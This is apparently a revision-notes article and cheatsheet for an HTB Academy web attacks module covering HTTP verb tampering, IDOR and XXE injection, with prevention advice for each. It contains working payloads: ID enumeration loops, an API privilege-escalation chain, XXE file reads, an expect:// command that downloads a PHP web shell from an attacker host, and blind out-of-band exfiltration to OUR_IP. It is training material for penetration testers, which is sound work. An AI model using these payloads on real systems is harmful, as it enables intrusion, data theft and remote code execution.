All articles

Web Attacks — HTTP Verb Tampering, IDOR and XXE Injection (HTB CWES)

Built from the Web Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every technique and payload kept, condensed. Labs and lessons are on HTB Academy.

Three high-impact attacks that hit almost any app: HTTP Verb Tampering, IDOR, and XXE.

1. HTTP Verb Tampering

HTTP has more verbs than GET/POST: HEAD (GET without a body), PUT (write), DELETE, OPTIONS (list allowed methods), PATCH. If the server/app handles them inconsistently, you bypass auth or filters.

Insecure config → auth bypass. <Limit GET POST> only protects those verbs. List the allowed ones and sneak in via HEAD (runs the action, returns no body):

curl -i -X OPTIONS http://TARGET/            # Allow: POST,OPTIONS,HEAD,GET

Then in Burp, intercept the protected action and Change Request Method to HEAD — the /admin/reset.php runs without the 401.

Insecure coding → filter bypass. The classic: filter checks $_POST['x'] but the sink uses $_REQUEST['x']. Send the payload as a GET param → the POST filter sees nothing, the sink still runs it → injection goes through (change method in Burp).

Prevent: never scope auth/filters to specific verbs — use LimitExcept (Apache), cover all methods, read input consistently ($_REQUEST everywhere), and disable HEAD if unused.

2. IDOR — Insecure Direct Object References

A direct reference you can tamper (download.php?file_id=123) + no back-end access control = read/modify others' data. The real bug is broken object-level access control.

Identify: increment IDs (?uid=2, ?filename=file_2.pdf); hunt unused endpoints in front-end AJAX calls; decode base64 refs (ZmlsZV8xMjMucGRm → file_123.pdf); reverse hashes if they're computed client-side; compare two accounts' requests.

Mass enumeration — loop the ID and scrape:

curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
for i in {1..10}; do
  for link in $(curl -s "http://TARGET/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
    wget -q http://TARGET/$link
  done
done

Encoded/hashed references — if the hash is built in front-end JS (CryptoJS.MD5(btoa(uid))), replicate it and enumerate:

echo -n 1 | base64 -w 0 | md5sum        # cdd96d3cc73d1dbdaffa03cc6cd7339b — matches the request
for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
for i in {1..10}; do h=$(echo -n $i|base64 -w0|md5sum|tr -d ' -'); curl -sOJ -X POST -d "contract=$h" http://TARGET/download.php; done

IDOR in APIs & chaining (→ privilege escalation). REST verbs map to CRUD (GET read, PUT update, POST create, DELETE). When the only authz is a client-side role=employee cookie or a role field in the JSON, and writes are blocked by uid/uuid checks — pivot through an information-disclosure GET:

  1. GET /api.php/profile/2 leaks another user's uuid and role (no read access control).
  2. With their uuid, PUT their profile → modify details (set email → password reset = takeover; or plant an XSS in about).
  3. Enumerate all users → find the admin role name (web_admin).
  4. PUT your own profile setting role: web_admin → now create/delete users.

Prevent: object-level RBAC mapped from the session (never trust a role in the request), and strong references (UUID v4, salted hashes) generated server-side.

3. XXE — XML External Entity Injection

If the app parses user XML with external entities enabled, you read files / get RCE. XML DTD can declare entities; SYSTEM loads an external one (file://, http://, php://).

Confirm & read files — define an entity and reference it in a reflected element (e.g. <email>):

<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>            <!-- &company; reflected = vulnerable -->
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]> <!-- &company; = file contents -->

(If the app sends JSON, try Content-Type: application/xml with converted XML.)

Read source (files with </>/& break XML) — base64 via PHP filter:

<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">

RCE (needs PHP expect module) — fetch a web shell ($IFS for spaces, avoid | > {):

<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php && sudo python3 -m http.server 80

Advanced — CDATA (read any file via an external DTD, joining parameter entities %):

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd && python3 -m http.server 8000
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>"><!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> %xxe; ]>
<email>&joined;</email>

Error-based (no reflection, but errors shown) — provoke an error that includes the file:

<!-- in xxe.dtd --> <!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!-- request --> <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %error; ]>

Blind OOB (no reflection, no errors) — make the server send the base64 file to you:

<!-- xxe.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
<!-- request -->
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %oob; ]><root>&content;</root>

Your listener decodes the content= param. Automate with XXEinjector (basic/CDATA/error/OOB); DNS OOB is the stealth variant. Other XXE: SSRF (internal port scan) and the "billion laughs" DoS (patched on modern servers). Prevent: disable DTDs/external entities in the parser (libxml_disable_entity_loader(true)), prefer JSON, patch XML libs.

4. What to carry into the CWES exam

  • Verb tampering: OPTIONS to list verbs, Burp Change Request Method to HEAD (auth bypass) or flip POST↔GET (filter bypass) — the tell is $_POST filter + $_REQUEST sink.
  • IDOR: tamper every ID/ref (plain, base64, front-end hash); mass-enumerate with curl+grep+wget; in APIs, chain a read-IDOR (GET → leak uuid/role) into a write-IDOR (PUT) → set role: admin.
  • XXE: confirm with an internal entity, read with file://, source with php://filter, then escalate — CDATA (any framework), error-based (errors shown), blind OOB (neither). Keep a python3 -m http.server + xxe.dtd ready.

Cheatsheet — Web Attacks

Verb tampering

curl -i -X OPTIONS http://TARGET/           # list Allow: methods
# Burp → Change Request Method → HEAD (auth bypass) | GET↔POST (filter bypass)
# config fix: LimitExcept ; code fix: use $_REQUEST consistently

IDOR

?uid=2   ?filename=file_2.pdf              # increment
echo -n ZmlsZV8xMjMucGRm | base64 -d       # decode ref
echo -n 1 | base64 -w0 | md5sum            # replicate front-end hash
curl -s "http://T/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"   # scrape + wget loop
# API chain: GET /api.php/profile/2 (leak uuid/role) → PUT (modify) → set role:web_admin

XXE

<!ENTITY x SYSTEM "file:///etc/passwd">                                   <!-- read file -->
<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!-- source -->
<!ENTITY x SYSTEM "expect://curl$IFS-O$IFS'IP/shell.php'">                 <!-- RCE (expect) -->
<!-- CDATA: %begin;%file;%end; via external xxe.dtd  |  error-based: %nonExistent;/%file;  -->
<!-- blind OOB: php://filter → http://IP:8000/?content=%file;  (XXEinjector automates) -->
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php ; python3 -m http.server 8000

Built from HTB Academy's Web Attacks module — labs, lessons and the CWES exam are on HTB Academy.